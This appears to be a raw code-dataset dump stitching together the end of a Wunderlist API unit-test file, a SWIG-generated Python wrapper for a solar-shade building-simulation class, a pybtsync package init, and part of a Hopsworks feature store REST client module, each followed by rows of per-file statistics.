self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('values' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'list_position')
def test_get_list_positions_id(self):
pos_id = "2123456"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetListPositions(pos_id=pos_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('values' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'list_position')
def test_get_task_positions(self):
list_id="12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTaskPositions(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('values' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'task_position')
def test_get_task_positions_id(self):
pos_id = "31867924"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTaskPositions(pos_id=pos_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('values' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'task_position')
def test_get_subtask_positions_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetSubTaskPositions(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('values' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'subtask_position')
def test_get_subtask_positions_task_id(self):
task_id = "1795987716"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetSubTaskPositions(task_id=task_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('values' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'subtask_position')
def test_get_subtask_positions_id(self):
pos_id = "1795987716"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetSubTaskPositions(pos_id=pos_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('id' in results)
self.assertTrue('values' in results)
self.assertTrue('task_id' in results)
self.assertTrue('type' in results)
self.assertEqual(results['type'], 'subtask_position')
def test_get_reminders_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetReminders(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('date' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'reminder')
def test_get_reminders_task_id(self):
task_id = "1795987716"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetReminders(task_id=task_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('date' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'reminder')
def test_get_subtasks_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetSubTasks(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('title' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'subtask')
def test_get_subtasks_task_id(self):
task_id = "1795987716"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetSubTasks(task_id=task_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('title' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'subtask')
def test_get_subtasks_subtask_id(self):
subtask_id = "1254964618"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetSubTasks(subtask_id=subtask_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('id' in results)
self.assertTrue('title' in results)
self.assertTrue('task_id' in results)
self.assertTrue('type' in results)
self.assertEqual(results['type'], 'subtask')
def test_get_tasks_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTasks(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('title' in results[0])
self.assertTrue('list_id' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'task')
def test_get_tasks_id(self):
task_id = "1795987716"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTasks(task_id=task_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('id' in results)
self.assertTrue('title' in results)
self.assertTrue('list_id' in results)
self.assertTrue('type' in results)
self.assertEqual(results['type'], 'task')
def test_get_task_comments_list_id(self):
list_id = "12345678"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTaskComments(list_id=list_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('text' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'task_comment')
def test_get_task_comments_task_id(self):
task_id = "1823531121"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTaskComments(task_id=task_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, list)
self.assertTrue('id' in results[0])
self.assertTrue('task_id' in results[0])
self.assertTrue('text' in results[0])
self.assertTrue('type' in results[0])
self.assertEqual(results[0]['type'], 'task_comment')
def test_get_task_comments_id(self):
task_comment_id = "35065454"
with HTTMock(wlmock.api_endpoint):
results = self.wunderlist.GetTaskComments(task_comment_id=task_comment_id)
self.assertNotEqual(results, None)
self.assertIsInstance(results, dict)
self.assertTrue('id' in results)
self.assertTrue('task_id' in results)
self.assertTrue('text' in results)
self.assertTrue('type' in results)
self.assertEqual(results['type'], 'task_comment')
if __name__ == '__main__':
unittest.main()
| 36.776786
| 86
| 0.655256
| 1,451
| 12,357
| 5.427292
| 0.076499
| 0.145778
| 0.066032
| 0.090667
| 0.895365
| 0.863619
| 0.851048
| 0.846095
| 0.836317
| 0.733587
| 0
| 0.026879
| 0.229263
| 12,357
| 335
| 87
| 36.886567
| 0.799454
| 0.017237
| 0
| 0.660377
| 0
| 0
| 0.070381
| 0
| 0
| 0
| 0
| 0.002985
| 0.584906
| 1
| 0.101887
| false
| 0
| 0.015094
| 0
| 0.120755
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b482325ecfb7e78801503ba08710f56c5fedade8
| 14,268
|
py
|
Python
|
SimModel_Python_API/simmodel_swig/Release/SimSolarShade_Fin_Default.py
|
EnEff-BIM/EnEffBIM-Framework
|
6328d39b498dc4065a60b5cc9370b8c2a9a1cddf
|
[
"MIT"
] | 3
|
2016-05-30T15:12:16.000Z
|
2022-03-22T08:11:13.000Z
|
SimModel_Python_API/simmodel_swig/Release/SimSolarShade_Fin_Default.py
|
EnEff-BIM/EnEffBIM-Framework
|
6328d39b498dc4065a60b5cc9370b8c2a9a1cddf
|
[
"MIT"
] | 21
|
2016-06-13T11:33:45.000Z
|
2017-05-23T09:46:52.000Z
|
SimModel_Python_API/simmodel_swig/Release/SimSolarShade_Fin_Default.py
|
EnEff-BIM/EnEffBIM-Framework
|
6328d39b498dc4065a60b5cc9370b8c2a9a1cddf
|
[
"MIT"
] | null | null | null |
# This file was automatically generated by SWIG (http://www.swig.org).
# Version 3.0.7
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info
if version_info >= (2, 6, 0):
def swig_import_helper():
from os.path import dirname
import imp
fp = None
try:
fp, pathname, description = imp.find_module('_SimSolarShade_Fin_Default', [dirname(__file__)])
except ImportError:
import _SimSolarShade_Fin_Default
return _SimSolarShade_Fin_Default
if fp is not None:
try:
_mod = imp.load_module('_SimSolarShade_Fin_Default', fp, pathname, description)
finally:
fp.close()
return _mod
_SimSolarShade_Fin_Default = swig_import_helper()
del swig_import_helper
else:
import _SimSolarShade_Fin_Default
del version_info
try:
_swig_property = property
except NameError:
pass # Python < 2.2 doesn't have 'property'.
def _swig_setattr_nondynamic(self, class_type, name, value, static=1):
if (name == "thisown"):
return self.this.own(value)
if (name == "this"):
if type(value).__name__ == 'SwigPyObject':
self.__dict__[name] = value
return
method = class_type.__swig_setmethods__.get(name, None)
if method:
return method(self, value)
if (not static):
if _newclass:
object.__setattr__(self, name, value)
else:
self.__dict__[name] = value
else:
raise AttributeError("You cannot add attributes to %s" % self)
def _swig_setattr(self, class_type, name, value):
return _swig_setattr_nondynamic(self, class_type, name, value, 0)
def _swig_getattr_nondynamic(self, class_type, name, static=1):
if (name == "thisown"):
return self.this.own()
method = class_type.__swig_getmethods__.get(name, None)
if method:
return method(self)
if (not static):
return object.__getattr__(self, name)
else:
raise AttributeError(name)
def _swig_getattr(self, class_type, name):
return _swig_getattr_nondynamic(self, class_type, name, 0)
def _swig_repr(self):
try:
strthis = "proxy of " + self.this.__repr__()
except:
strthis = ""
return "<%s.%s; %s >" % (self.__class__.__module__, self.__class__.__name__, strthis,)
try:
_object = object
_newclass = 1
except AttributeError:
class _object:
pass
_newclass = 0
try:
import weakref
weakref_proxy = weakref.proxy
except:
weakref_proxy = lambda x: x
import base
class SimSolarShade(base.SimBuildingElement):
__swig_setmethods__ = {}
for _s in [base.SimBuildingElement]:
__swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {}))
__setattr__ = lambda self, name, value: _swig_setattr(self, SimSolarShade, name, value)
__swig_getmethods__ = {}
for _s in [base.SimBuildingElement]:
__swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {}))
__getattr__ = lambda self, name: _swig_getattr(self, SimSolarShade, name)
__repr__ = _swig_repr
def Name(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Name(self, *args)
def SolarShadeObjectType(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_SolarShadeObjectType(self, *args)
def ShadingDeviceType(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_ShadingDeviceType(self, *args)
def Azimuth(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Azimuth(self, *args)
def Inclination_MeasureValue(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Inclination_MeasureValue(self, *args)
def TiltRange_MeasureValue(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_TiltRange_MeasureValue(self, *args)
def AverageSolarTransmittance(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_AverageSolarTransmittance(self, *args)
def AverageVisibleTransmittance(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_AverageVisibleTransmittance(self, *args)
def Reflectance(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Reflectance(self, *args)
def Roughness_MeasureValue(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Roughness_MeasureValue(self, *args)
def Color(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Color(self, *args)
def ClassRef_UniFormat(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_ClassRef_UniFormat(self, *args)
def MaterialList(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_MaterialList(self, *args)
def Representation(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Representation(self, *args)
def CompositionType(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_CompositionType(self, *args)
def ShadedElement(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_ShadedElement(self, *args)
def __init__(self, *args):
this = _SimSolarShade_Fin_Default.new_SimSolarShade(*args)
try:
self.this.append(this)
except:
self.this = this
def _clone(self, f=0, c=None):
return _SimSolarShade_Fin_Default.SimSolarShade__clone(self, f, c)
__swig_destroy__ = _SimSolarShade_Fin_Default.delete_SimSolarShade
__del__ = lambda self: None
SimSolarShade_swigregister = _SimSolarShade_Fin_Default.SimSolarShade_swigregister
SimSolarShade_swigregister(SimSolarShade)
class SimSolarShade_Fin(SimSolarShade):
__swig_setmethods__ = {}
for _s in [SimSolarShade]:
__swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {}))
__setattr__ = lambda self, name, value: _swig_setattr(self, SimSolarShade_Fin, name, value)
__swig_getmethods__ = {}
for _s in [SimSolarShade]:
__swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {}))
__getattr__ = lambda self, name: _swig_getattr(self, SimSolarShade_Fin, name)
__repr__ = _swig_repr
def SimSolarShade_Name(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_Name(self, *args)
def SimSolarShade_WindOrDoorName(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_WindOrDoorName(self, *args)
def SimSolarShade_LeftExtFromWind_Door(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_LeftExtFromWind_Door(self, *args)
def SimSolarShade_LeftDistAbvTopWind(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_LeftDistAbvTopWind(self, *args)
def SimSolarShade_LeftDistBelowBotWind(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_LeftDistBelowBotWind(self, *args)
def SimSolarShade_LeftTiltAngFromWind_Door(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_LeftTiltAngFromWind_Door(self, *args)
def SimSolarShade_RightExtFromWind_Door(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_RightExtFromWind_Door(self, *args)
def SimSolarShade_RightDistAbvTopWind(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_RightDistAbvTopWind(self, *args)
def SimSolarShade_RightDistBelowBotWind(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_RightDistBelowBotWind(self, *args)
def SimSolarShade_RightTiltAngFromWind_Door(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_SimSolarShade_RightTiltAngFromWind_Door(self, *args)
def ShadingProp_Reflectance_ShadingSurfName(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_ShadingProp_Reflectance_ShadingSurfName(self, *args)
def ShadingProp_Reflectance_DiffuseSolarReflectanceOfUnglazedPartOfShadingSurf(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_ShadingProp_Reflectance_DiffuseSolarReflectanceOfUnglazedPartOfShadingSurf(self, *args)
def ShadingProp_Reflectance_DiffuseVisibleReflectanceOfUnglazedPartOfShadingSurf(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_ShadingProp_Reflectance_DiffuseVisibleReflectanceOfUnglazedPartOfShadingSurf(self, *args)
def ShadingProp_Reflectance_FractionOfShadingSurfThatIsGlazed(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_ShadingProp_Reflectance_FractionOfShadingSurfThatIsGlazed(self, *args)
def ShadingProp_Reflectance_GlazingConstructionName(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_ShadingProp_Reflectance_GlazingConstructionName(self, *args)
def __init__(self, *args):
this = _SimSolarShade_Fin_Default.new_SimSolarShade_Fin(*args)
try:
self.this.append(this)
except:
self.this = this
def _clone(self, f=0, c=None):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin__clone(self, f, c)
__swig_destroy__ = _SimSolarShade_Fin_Default.delete_SimSolarShade_Fin
__del__ = lambda self: None
SimSolarShade_Fin_swigregister = _SimSolarShade_Fin_Default.SimSolarShade_Fin_swigregister
SimSolarShade_Fin_swigregister(SimSolarShade_Fin)
class SimSolarShade_Fin_Default(SimSolarShade_Fin):
__swig_setmethods__ = {}
for _s in [SimSolarShade_Fin]:
__swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {}))
__setattr__ = lambda self, name, value: _swig_setattr(self, SimSolarShade_Fin_Default, name, value)
__swig_getmethods__ = {}
for _s in [SimSolarShade_Fin]:
__swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {}))
__getattr__ = lambda self, name: _swig_getattr(self, SimSolarShade_Fin_Default, name)
__repr__ = _swig_repr
def SimSolarShade_LeftDepth(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_SimSolarShade_LeftDepth(self, *args)
def SimSolarShade_RightDepth(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_SimSolarShade_RightDepth(self, *args)
def T24ConstructStatus2(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_T24ConstructStatus2(self, *args)
def __init__(self, *args):
this = _SimSolarShade_Fin_Default.new_SimSolarShade_Fin_Default(*args)
try:
self.this.append(this)
except:
self.this = this
def _clone(self, f=0, c=None):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default__clone(self, f, c)
__swig_destroy__ = _SimSolarShade_Fin_Default.delete_SimSolarShade_Fin_Default
__del__ = lambda self: None
SimSolarShade_Fin_Default_swigregister = _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_swigregister
SimSolarShade_Fin_Default_swigregister(SimSolarShade_Fin_Default)
class SimSolarShade_Fin_Default_sequence(base.sequence_common):
__swig_setmethods__ = {}
for _s in [base.sequence_common]:
__swig_setmethods__.update(getattr(_s, '__swig_setmethods__', {}))
__setattr__ = lambda self, name, value: _swig_setattr(self, SimSolarShade_Fin_Default_sequence, name, value)
__swig_getmethods__ = {}
for _s in [base.sequence_common]:
__swig_getmethods__.update(getattr(_s, '__swig_getmethods__', {}))
__getattr__ = lambda self, name: _swig_getattr(self, SimSolarShade_Fin_Default_sequence, name)
__repr__ = _swig_repr
def __init__(self, *args):
this = _SimSolarShade_Fin_Default.new_SimSolarShade_Fin_Default_sequence(*args)
try:
self.this.append(this)
except:
self.this = this
def assign(self, n, x):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_assign(self, n, x)
def begin(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_begin(self, *args)
def end(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_end(self, *args)
def rbegin(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_rbegin(self, *args)
def rend(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_rend(self, *args)
def at(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_at(self, *args)
def front(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_front(self, *args)
def back(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_back(self, *args)
def push_back(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_push_back(self, *args)
def pop_back(self):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_pop_back(self)
def detach_back(self, pop=True):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_detach_back(self, pop)
def insert(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_insert(self, *args)
def erase(self, *args):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_erase(self, *args)
def detach(self, position, r, erase=True):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_detach(self, position, r, erase)
def swap(self, x):
return _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_swap(self, x)
__swig_destroy__ = _SimSolarShade_Fin_Default.delete_SimSolarShade_Fin_Default_sequence
__del__ = lambda self: None
SimSolarShade_Fin_Default_sequence_swigregister = _SimSolarShade_Fin_Default.SimSolarShade_Fin_Default_sequence_swigregister
SimSolarShade_Fin_Default_sequence_swigregister(SimSolarShade_Fin_Default_sequence)
# This file is compatible with both classic and new-style classes.
| 41
| 149
| 0.754345
| 1,558
| 14,268
| 6.365854
| 0.115533
| 0.217786
| 0.248135
| 0.214156
| 0.715164
| 0.60486
| 0.5732
| 0.481851
| 0.413692
| 0.329099
| 0
| 0.001939
| 0.168559
| 14,268
| 347
| 150
| 41.118156
| 0.834106
| 0.020606
| 0
| 0.303846
| 1
| 0
| 0.020481
| 0.003724
| 0
| 0
| 0
| 0
| 0
| 1
| 0.238462
| false
| 0.007692
| 0.042308
| 0.207692
| 0.65
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
81f63680c4c67a009e0b834124371526e5d7a77b
| 144
|
py
|
Python
|
pybtsync/__init__.py
|
c-pid/pybtsync
|
e75c78c0976a0f3adb9a49b6829c52b23431d929
|
[
"MIT"
] | null | null | null |
pybtsync/__init__.py
|
c-pid/pybtsync
|
e75c78c0976a0f3adb9a49b6829c52b23431d929
|
[
"MIT"
] | null | null | null |
pybtsync/__init__.py
|
c-pid/pybtsync
|
e75c78c0976a0f3adb9a49b6829c52b23431d929
|
[
"MIT"
] | null | null | null |
__all__ = []
from pybtsync.pybtsync import BTSync_process
from pybtsync.pybtsync import BTSync
from pybtsync.pybtsync import BTSync_preferences
| 28.8
| 48
| 0.854167
| 18
| 144
| 6.5
| 0.388889
| 0.307692
| 0.512821
| 0.666667
| 0.820513
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.104167
| 144
| 5
| 48
| 28.8
| 0.906977
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.75
| 0
| 0.75
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
c37e5a82fdf3c5c448f6aa06fbeda931bc1d9bd2
| 11,897
|
py
|
Python
|
hops/featurestore_impl/rest/rest_rpc.py
|
SirOibaf/hopsworks-cloud-sdk
|
6f4a4515d5eb485a5c0df6637d8e52dc5b78a76e
|
[
"Apache-2.0"
] | null | null | null |
hops/featurestore_impl/rest/rest_rpc.py
|
SirOibaf/hopsworks-cloud-sdk
|
6f4a4515d5eb485a5c0df6637d8e52dc5b78a76e
|
[
"Apache-2.0"
] | null | null | null |
hops/featurestore_impl/rest/rest_rpc.py
|
SirOibaf/hopsworks-cloud-sdk
|
6f4a4515d5eb485a5c0df6637d8e52dc5b78a76e
|
[
"Apache-2.0"
] | null | null | null |
"""
REST calls to Hopsworks Feature Store Service
"""
import json
import sys
from hops import constants, util
from hops.exceptions import RestAPIError
def _get_featurestores():
"""
Sends a REST request to get all featurestores for the project
Returns:
a list of Featurestore JSON DTOs
Raises:
:RestAPIError: if there was an error in the REST call to Hopsworks
"""
method = constants.HTTP_CONFIG.HTTP_GET
connection = util._get_http_connection(https=True)
resource_url = (constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
util.project_id() + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_FEATURESTORES_RESOURCE)
response = util.send_request(connection, method, resource_url)
resp_body = response.read().decode('utf-8')
response_object = json.loads(resp_body)
# for python 3
if sys.version_info > (3, 0):
if response.code != 200:
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not fetch feature stores (url: {}), server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format(
resource_url, response.code, response.reason, error_code, error_msg, user_msg))
else: # for python 2
if response.status != 200:
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not fetch feature stores (url: {}), server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format(
resource_url, response.code, response.reason, error_code, error_msg, user_msg))
return response_object
def _get_featurestore_metadata(featurestore):
"""
Makes a REST call to hopsworks to get all metadata of a featurestore (featuregroups and
training datasets) for the provided featurestore.
Args:
:featurestore: the name of the database, defaults to the project's featurestore
Returns:
JSON response
Raises:
:RestAPIError: if there was an error in the REST call to Hopsworks
"""
method = constants.HTTP_CONFIG.HTTP_GET
connection = util._get_http_connection(https=True)
resource_url = (constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
util.project_id() + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_FEATURESTORES_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
featurestore + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_FEATURESTORE_METADATA_RESOURCE)
response = util.send_request(connection, method, resource_url)
resp_body = response.read().decode('utf-8')
response_object = json.loads(resp_body)
# for python 3
if sys.version_info > (3, 0):
if response.code != 200:
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not fetch featurestore metadata for featurestore: {} (url: {}), "
"server response: \n "
"HTTP code: {}, HTTP reason: {}, error code: {}, "
"error msg: {}, user msg: {}".format(
resource_url, featurestore, response.code, response.reason, error_code, error_msg, user_msg))
else: # for python 2
if response.status != 200:
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not fetch featurestore metadata for featurestore: {} (url: {}), "
"server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, "
"error msg: {}, user msg: {}".format(
resource_url, featurestore, response.status, response.reason, error_code, error_msg, user_msg))
return response_object
def _get_project_info(project_name):
"""
Makes a REST call to hopsworks to get all metadata of a project for the provided project.
Args:
:project_name: the name of the project
Returns:
JSON response
Raises:
:RestAPIError: if there was an error in the REST call to Hopsworks
"""
method = constants.HTTP_CONFIG.HTTP_GET
connection = util._get_http_connection(https=True)
resource_url = (constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_PROJECT_INFO_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
project_name)
response = util.send_request(connection, method, resource_url)
resp_body = response.read().decode('utf-8')
response_object = json.loads(resp_body)
# for python 3
if sys.version_info > (3, 0):
if response.code != 200:
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not fetch project metadata for project: {} (url: {}), "
"server response: \n "
"HTTP code: {}, HTTP reason: {}, error code: {}, "
"error msg: {}, user msg: {}".format(
project_name, resource_url, response.code, response.reason, error_code, error_msg, user_msg))
else: # for python 2
if response.status != 200:
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not fetch project metadata for project: {} (url: {}), "
"server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, "
"error msg: {}, user msg: {}".format(
project_name, resource_url, response.status, response.reason, error_code, error_msg, user_msg))
return response_object
def _get_featuregroup_rest(featuregroup_id, featurestore_id):
"""
Makes a REST call to hopsworks for getting the metadata of a particular featuregroup (including the statistics)
Args:
:featuregroup_id: id of the featuregroup
:featurestore_id: id of the featurestore where the featuregroup resides
Returns:
The REST response
Raises:
:RestAPIError: if there was an error in the REST call to Hopsworks
"""
headers = {constants.HTTP_CONFIG.HTTP_CONTENT_TYPE: constants.HTTP_CONFIG.HTTP_APPLICATION_JSON}
method = constants.HTTP_CONFIG.HTTP_GET
connection = util._get_http_connection(https=True)
resource_url = (constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_REST_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_PROJECT_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
util.project_id() + constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_FEATURESTORES_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER +
str(featurestore_id) +
constants.DELIMITERS.SLASH_DELIMITER +
constants.REST_CONFIG.HOPSWORKS_FEATUREGROUPS_RESOURCE + constants.DELIMITERS.SLASH_DELIMITER
+ str(featuregroup_id))
response = util.send_request(connection, method, resource_url, headers=headers)
resp_body = response.read().decode('utf-8')
response_object = json.loads(resp_body)
try: # for python 3
if (response.code != 200):
error_code, error_msg, user_msg = util._parse_rest_error(response_object)
raise RestAPIError("Could not get the metadata of featuregroup (url: {}), server response: \n " \
"HTTP code: {}, HTTP reason: {}, error code: {}, error msg: {}, user msg: {}".format(
